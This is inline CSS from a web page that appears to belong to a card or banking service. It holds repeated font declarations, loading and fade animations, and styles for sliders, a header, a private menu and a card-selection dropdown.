@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.banner-content {
overflow: hidden; }
.banner-content__mobile-title {
font-size: 20px;
font-family: Nunito-Bold;
color: #122e43;
padding: 10px; }
@media (min-width: 1024px) {
.banner-content__mobile-title {
display: none; } }
.slider-wrapper {
display: grid;
grid-template-columns: 235px 1fr;
align-items: center;
gap: 10px; }
@media (max-width: 1023px) {
.slider-wrapper {
grid-template-columns: 1fr; } }
.slider-wrapper__main-box {
position: relative;
scroll-behavior: smooth;
-ms-overflow-style: none;
/* IE and Edge */
scrollbar-width: none;
overflow: scroll; }
.slider-wrapper__main-box::-webkit-scrollbar {
display: none; }
.slider-wrapper__container__card .web-card a .image__desktop {
height: 120px; }
.slider-wrapper__container__card .mobile-card a .image__mobile {
height: 130px; }
.slider-paginator-promotion {
display: flex;
flex-direction: column;
align-items: flex-start; }
@media (max-width: 1023px) {
.slider-paginator-promotion {
align-items: center; } }
.slider-paginator-promotion__title-wrapper {
display: grid;
grid-template-columns: repeat(1, 1fr); }
.slider-paginator-promotion__title-wrapper__title {
font-size: 20px;
font-family: Nunito-Bold;
color: #122e43;
max-width: 200px; }
@media (max-width: 1023px) {
.slider-paginator-promotion__title-wrapper__title {
display: none; } }
.slider-paginator-promotion__buttons {
margin-top: 20px;
display: flex;
justify-content: center;
align-items: center; }
@media (max-width: 1023px) {
.slider-paginator-promotion__buttons {
margin-top: 36px; } }
.slider-paginator-promotion__buttons__back {
width: 18px;
height: 18px;
background-color: #d5dadf;
border-radius: 50%;
cursor: pointer;
margin: 0 2px; }
@media (max-width: 1023px) {
.slider-paginator-promotion__buttons__back {
display: none; } }
.slider-paginator-promotion__buttons__back img {
width: 18px;
height: 18px; }
.slider-paginator-promotion__buttons__next {
width: 18px;
height: 18px;
background-color: #d5dadf;
border-radius: 50%;
cursor: pointer;
transform: rotate(180deg);
margin: 0 2px; }
@media (max-width: 1023px) {
.slider-paginator-promotion__buttons__next {
display: none; } }
.slider-paginator-promotion__buttons__next img {
width: 18px;
height: 18px; }
.slider-paginator-promotion__buttons__dots {
width: 8px;
height: 8px;
border-radius: 50%;
background-color: #d5dadf;
cursor: pointer;
margin: 0 10px; }
@media (max-width: 1023px) {
.slider-paginator-promotion {
grid-row: 2; } }
.web-card {
display: grid; }
@media (max-width: 1023px) {
.web-card {
display: none; } }
.mobile-card {
display: grid; }
@media (min-width: 1024px) {
.mobile-card {
display: none; } }
.--active {
background-color: #122e43; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.slider-wrapper-carousel__main-box {
position: relative;
scroll-behavior: smooth;
-ms-overflow-style: none;
/* IE and Edge */
scrollbar-width: none; }
.slider-wrapper-carousel__main-box::-webkit-scrollbar {
display: none; }
@media (max-width: 1023px) {
.slider-wrapper-carousel__main-box {
overflow: visible !important; } }
.slider-wrapper-carousel__container {
width: 100%;
display: grid; }
@media (max-width: 1023px) {
.slider-wrapper-carousel__container {
grid-template-columns: repeat(1, 1fr) !important; } }
.slider-wrapper-carousel__container__card {
width: 100%; }
.slider-paginator-carousel__buttons {
margin-top: 11px;
display: flex;
justify-content: center;
align-items: center; }
.slider-paginator-carousel__buttons__back {
width: 18px;
height: 18px;
background-color: #d5dadf;
border-radius: 50%;
cursor: pointer;
margin: 0 2px; }
.slider-paginator-carousel__buttons__back img {
width: 18px;
height: 18px; }
.slider-paginator-carousel__buttons__next {
width: 18px;
height: 18px;
background-color: #d5dadf;
border-radius: 50%;
cursor: pointer;
transform: rotate(180deg);
margin: 0 2px; }
.slider-paginator-carousel__buttons__next img {
width: 18px;
height: 18px; }
.slider-paginator-carousel__buttons__dot {
width: 8px;
height: 8px;
border-radius: 50%;
background-color: #d5dadf;
cursor: pointer;
margin: 0 12px; }
@media (max-width: 1023px) {
.slider-paginator-carousel {
display: none; } }
.--active {
background-color: #122e43; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.transitory--menu--private {
width: 100%;
margin: 0 auto;
display: flex;
flex-direction: column;
border-bottom: 1px solid #d5dadf;
position: fixed;
top: 0;
left: 0;
z-index: 100; }
.transitory--menu--private__header {
width: 100%;
background-color: #f4f7fa; }
.transitory--menu--private__header .header__component {
max-width: 1360px;
margin: 0 auto; }
.transitory--menu--private__menu {
width: 100%;
background-color: #ffffff; }
@media (max-width: 1024px) {
.transitory--menu--private__menu {
display: none; } }
.transitory--menu--private__menu .menu__component {
max-width: 1360px;
margin: 0 auto; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.transitory__header {
width: 100%;
height: 70px;
background-color: #f4f6f8;
padding: 0 32px 0 48px;
display: flex;
align-items: center;
justify-content: space-between;
box-sizing: border-box; }
@media (max-width: 1024px) {
.transitory__header {
max-width: 100%;
padding: 0 16px;
background-color: #F9F9F9; } }
.transitory__header .header__logo {
display: flex; }
.transitory__header .header__logo a {
display: flex; }
.transitory__header .header__logo a img {
width: 100%; }
.transitory__header .header__options {
display: flex; }
.transitory__header .header__options .options__select--card {
display: flex;
align-items: center;
cursor: pointer; }
@media (max-width: 1024px) {
.transitory__header .header__options .options__select--card {
display: none; } }
.transitory__header .header__options .options__select--card .select--card__name {
font-family: Nunito-SemiBold;
font-size: 14px;
line-height: 20px;
color: #122e43; }
.transitory__header .header__options .options__select--card .select--card__thumbnail {
width: 38px;
margin: 0 8px; }
.transitory__header .header__options .options__select--card .select--card__dots,
.transitory__header .header__options .options__select--card .select--card__number {
font-family: NunitoSans-SemiBold;
font-size: 14px;
line-height: 20px;
color: #122e43; }
.transitory__header .header__options .options__select--card .select--card__dots {
margin-right: 8px; }
.transitory__header .header__options .options__select--card .select--card__arrow {
margin-left: 4px; }
@media (max-width: 1024px) {
.transitory__header .header__options .options__dropdown {
display: none; } }
.transitory__header .header__options .options__links {
display: flex;
align-items: center;
margin: 0 42px 0 48px; }
@media (max-width: 1024px) {
.transitory__header .header__options .options__links {
display: none; } }
.transitory__header .header__options .options__links .links__link {
margin-left: 24px;
display: flex;
align-items: center;
cursor: pointer;
font-family: Nunito-Regular;
font-size: 14px;
line-height: 20px;
color: #416179;
-webkit-transition: 250ms;
-moz-transition: 250ms;
-ms-transition: 250ms;
-o-transition: 250ms;
transition: 250ms;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease; }
.transitory__header .header__options .options__links .links__link:first-child {
margin-left: 0; }
.transitory__header .header__options .options__links .links__link:hover {
text-decoration: underline; }
.transitory__header .header__options .options__links .links__link.active {
color: #2d9cdb;
font-family: Nunito-Bold;
text-decoration: underline; }
.transitory__header .header__options .options__links .links__link.loading {
width: 120px;
height: 24px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-90deg, #d8e6f3, #ecf2f8, #d8e6f3);
background-size: 350% 200%; }
.transitory__header .header__options .options__links .links__link.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.transitory__header .header__options .options__links .links__link small {
padding: 0 6px;
height: 16px;
color: #ffffff;
margin-left: 4px;
border-radius: 14px;
font-family: Nunito-Bold;
font-size: 10px;
line-height: 14px;
display: flex;
align-items: center; }
.transitory__header .header__options .options__links .links__link small.purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.transitory__header .header__options .options__links .links__link small.mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.transitory__header .header__options .options__links .links__link small.sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.transitory__header .header__options .options__links .links__link small.emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.transitory__header .header__options .options__links .links__link small.ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.transitory__header .header__options .options__icons {
display: flex; }
.transitory__header .header__options .options__icons .icons__icon {
width: 36px;
height: 36px;
display: flex;
justify-content: center;
align-items: center;
margin-left: 4px;
cursor: pointer;
position: relative;
-webkit-transition: 250ms;
-moz-transition: 250ms;
-ms-transition: 250ms;
-o-transition: 250ms;
transition: 250ms;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease;
border-radius: 50%; }
.transitory__header .header__options .options__icons .icons__icon:first-child {
margin-left: 0; }
.transitory__header .header__options .options__icons .icons__icon:hover {
background-color: #ECF0F8; }
.transitory__header .header__options .options__icons .icons__icon.active {
background-color: #122e43; }
.transitory__header .header__options .options__icons .icons__icon.loading {
width: 24px;
height: 24px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-90deg, #d8e6f3, #ecf2f8, #d8e6f3);
background-size: 350% 200%; }
.transitory__header .header__options .options__icons .icons__icon.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (min-width: 1025px) {
.transitory__header .header__options .options__icons .icons__icon.only--mobile {
display: none; } }
.transitory__header .header__options .options__icons .icons__icon .icon__notificaction {
position: absolute;
top: -4px;
left: 20px;
width: 16px;
height: 16px;
border: 1px solid #ffffff;
box-sizing: border-box;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-family: NunitoSans-ExtraBold;
font-size: 10px;
line-height: 14px; }
.transitory__header .header__options .options__icons .icons__icon .icon__notificaction.notificaction--default {
background-color: #FD5B00;
color: #ffffff; }
.transitory__header .header__options .options__icons .icons__icon img {
width: 24px; }
.transitory__header .header__options .options__icons .icons__icon .select--user__mobile {
display: flex;
width: 24px;
position: absolute;
opacity: 0;
cursor: pointer; }
@media (min-width: 1025px) {
.transitory__header .header__options .options__icons .icons__icon .select--user__mobile {
display: none; } }
@media (max-width: 1024px) {
.transitory__header .header__options .options__dropdown--user {
display: none; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.dropdow--cards__container {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: rgba(0, 0, 0, 0.25); }
.dropdow--cards__container.hidden {
visibility: hidden; }
.dropdow--cards__container.show {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 1024px) {
.dropdow--cards__container {
display: none; } }
.dropdow--cards__container .container__list {
position: absolute;
min-width: 175px;
padding: 4px;
box-sizing: border-box;
background-color: #ffffff;
box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.08), 0px 20px 32px rgba(96, 97, 112, 0.24);
border-radius: 6px; }
.dropdow--cards__container .container__list .list__card {
width: 100%;
height: 38px;
border-radius: 4px;
background-color: #ffffff;
padding: 4px;
box-sizing: border-box;
display: flex;
align-items: center;
margin-bottom: 4px;
cursor: pointer; }
.dropdow--cards__container .container__list .list__card:hover {
background-color: #f0f4f9; }
.dropdow--cards__container .container__list .list__card .card__image {
width: 48px;
margin-right: 10px; }
.dropdow--cards__container .container__list .list__card .card__information {
display: flex;
flex-direction: column;
justify-content: center; }
.dropdow--cards__container .container__list .list__card .card__information .information__name {
font-family: NunitoSans-Bold;
font-size: 12px;
line-height: 16px;
color: #122e43; }
.dropdow--cards__container .container__list .list__card .card__information .information__number {
display: flex; }
.dropdow--cards__container .container__list .list__card .card__information .information__number .number__dots,
.dropdow--cards__container .container__list .list__card .card__information .information__number .number__card {
font-family: NunitoSans-Bold;
font-size: 9px;
line-height: 12px;
color: #416179; }
.dropdow--cards__container .container__list .list__card .card__information .information__number .number__dots {
margin-right: 8px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
